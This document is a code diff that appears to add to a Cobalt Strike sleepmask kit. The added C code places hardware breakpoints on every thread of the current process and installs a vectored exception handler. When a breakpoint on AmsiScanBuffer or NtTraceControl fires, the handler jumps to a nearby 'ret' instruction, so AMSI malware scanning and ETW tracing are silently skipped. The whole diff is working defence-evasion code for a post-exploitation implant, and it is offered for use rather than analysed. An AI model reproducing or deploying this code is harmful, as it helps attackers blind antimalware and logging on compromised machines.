| 1 | + | #include <tlhelp32.h> |
| 2 | + | |
| 3 | + | // some required APIs are defined / imported already in CS provided sleepmask kit |
| 4 | + | WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(); |
| 5 | + | WINBASEAPI DWORD WINAPI KERNEL32$GetCurrentProcessId(); |
| 6 | + | WINBASEAPI HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD); |
| 7 | + | WINBASEAPI BOOL WINAPI KERNEL32$Thread32First(HANDLE, LPTHREADENTRY32); |
| 8 | + | WINBASEAPI BOOL WINAPI KERNEL32$Thread32Next(HANDLE, LPTHREADENTRY32); |
| 9 | + | WINBASEAPI PVOID WINAPI KERNEL32$AddVectoredExceptionHandler(ULONG, PVECTORED_EXCEPTION_HANDLER); |
| 10 | + | WINBASEAPI ULONG WINAPI KERNEL32$RemoveVectoredExceptionHandler(PVOID); |
| 11 | + | WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress (HMODULE, LPCSTR); |
| 12 | + | WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA (LPCSTR); |
| 13 | + | WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA (LPCSTR); |
| 14 | + | |
| 15 | + | #define GetCurrentThread KERNEL32$GetCurrentThread |
| 16 | + | #define GetCurrentProcessId KERNEL32$GetCurrentProcessId |
| 17 | + | #define CreateToolhelp32Snapshot KERNEL32$CreateToolhelp32Snapshot |
| 18 | + | #define Thread32First KERNEL32$Thread32First |
| 19 | + | #define Thread32Next KERNEL32$Thread32Next |
| 20 | + | #define AddVectoredExceptionHandler KERNEL32$AddVectoredExceptionHandler |
| 21 | + | #define RemoveVectoredExceptionHandler KERNEL32$RemoveVectoredExceptionHandler |
| 22 | + | #define GetProcAddress KERNEL32$GetProcAddress |
| 23 | + | #define GetModuleHandleA KERNEL32$GetModuleHandleA |
| 24 | + | #define LoadLibraryA KERNEL32$LoadLibraryA |
| 25 | + | |
| 26 | + | |
| 27 | + | void set_hardware_breakpoint(const DWORD tid, const uintptr_t address, const UINT pos, const BOOL init) |
| 28 | + | { |
| 29 | + | CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; |
| 30 | + | HANDLE thd; |
| 31 | + | |
| 32 | + | if (tid == GetCurrentThreadId()) |
| 33 | + | { |
| 34 | + | thd = GetCurrentThread(); |
| 35 | + | } |
| 36 | + | else |
| 37 | + | { |
| 38 | + | thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid); |
| 39 | + | } |
| 40 | + | |
| 41 | + | GetThreadContext(thd, &context); |
| 42 | + | |
| 43 | + | if (init) |
| 44 | + | { |
| 45 | + | (&context.Dr0)[pos] = address; |
| 46 | + | context.Dr7 &= ~(3ull << (16 + 4 * pos)); |
| 47 | + | context.Dr7 &= ~(3ull << (18 + 4 * pos)); |
| 48 | + | context.Dr7 |= 1ull << (2 * pos); |
| 49 | + | } |
| 50 | + | else |
| 51 | + | { |
| 52 | + | if ((&context.Dr0)[pos] == address) |
| 53 | + | { |
| 54 | + | context.Dr7 &= ~(1ull << (2 * pos)); |
| 55 | + | (&context.Dr0)[pos] = 0ull; |
| 56 | + | } |
| 57 | + | } |
| 58 | + | |
| 59 | + | SetThreadContext(thd, &context); |
| 60 | + | |
| 61 | + | if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd); |
| 62 | + | } |
| 63 | + | |
| 64 | + | |
| 65 | + | void set_hardware_breakpoints(const uintptr_t address, const UINT pos, const BOOL init, const DWORD tid) |
| 66 | + | { |
| 67 | + | const DWORD pid = GetCurrentProcessId(); |
| 68 | + | const HANDLE h = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); |
| 69 | + | |
| 70 | + | if (h != INVALID_HANDLE_VALUE) { |
| 71 | + | THREADENTRY32 te = { .dwSize = sizeof(THREADENTRY32) }; |
| 72 | + | |
| 73 | + | if (Thread32First(h, &te)) { |
| 74 | + | do { |
| 75 | + | if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + |
| 76 | + | sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) { |
| 77 | + | if (tid != 0 && tid != te.th32ThreadID) { |
| 78 | + | continue; |
| 79 | + | } |
| 80 | + | set_hardware_breakpoint(te.th32ThreadID, address, pos, init); |
| 81 | + | |
| 82 | + | } |
| 83 | + | te.dwSize = sizeof(te); |
| 84 | + | } while (Thread32Next(h, &te)); |
| 85 | + | } |
| 86 | + | CloseHandle(h); |
| 87 | + | } |
| 88 | + | } |
| 89 | + | |
| 90 | + | uintptr_t find_gadget(const uintptr_t function, const BYTE* stub, const UINT size, const size_t dist) |
| 91 | + | { |
| 92 | + | for (size_t i = 0; i < dist; i++) |
| 93 | + | { |
| 94 | + | if (memcmp((LPVOID)(function + i), stub, size) == 0) { |
| 95 | + | return (function + i); |
| 96 | + | } |
| 97 | + | } |
| 98 | + | return 0ull; |
| 99 | + | } |
| 100 | + | |
| 101 | + | LONG WINAPI exception_handler(PEXCEPTION_POINTERS ExceptionInfo) |
| 102 | + | { |
| 103 | + | if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) |
| 104 | + | { |
| 105 | + | if( ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr0 || ExceptionInfo->ContextRecord->Rip == ExceptionInfo->ContextRecord->Dr1 ) { |
| 106 | + | |
| 107 | + | //Below if else branch can be commented out, only for debug purpose |
| 108 | + | |
| 109 | + | if (ExceptionInfo->ContextRecord->Rip == (uintptr_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceControl")) { |
| 110 | + | BeaconPrintf(CALLBACK_OUTPUT , "[+] In exception handler of NtTraceControl.\n"); |
| 111 | + | } else { |
| 112 | + | BeaconPrintf(CALLBACK_OUTPUT , "[+] In exception handler of AmsiScanBuffer.\n"); |
| 113 | + | } |
| 114 | + | |
| 115 | + | // End of debug branch |
| 116 | + | |
| 117 | + | ExceptionInfo->ContextRecord->Rip = find_gadget(ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500); |
| 118 | + | ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag |
| 119 | + | } |
| 120 | + | return EXCEPTION_CONTINUE_EXECUTION; |
| 121 | + | } |
| 122 | + | return EXCEPTION_CONTINUE_SEARCH; |
| 123 | + | } |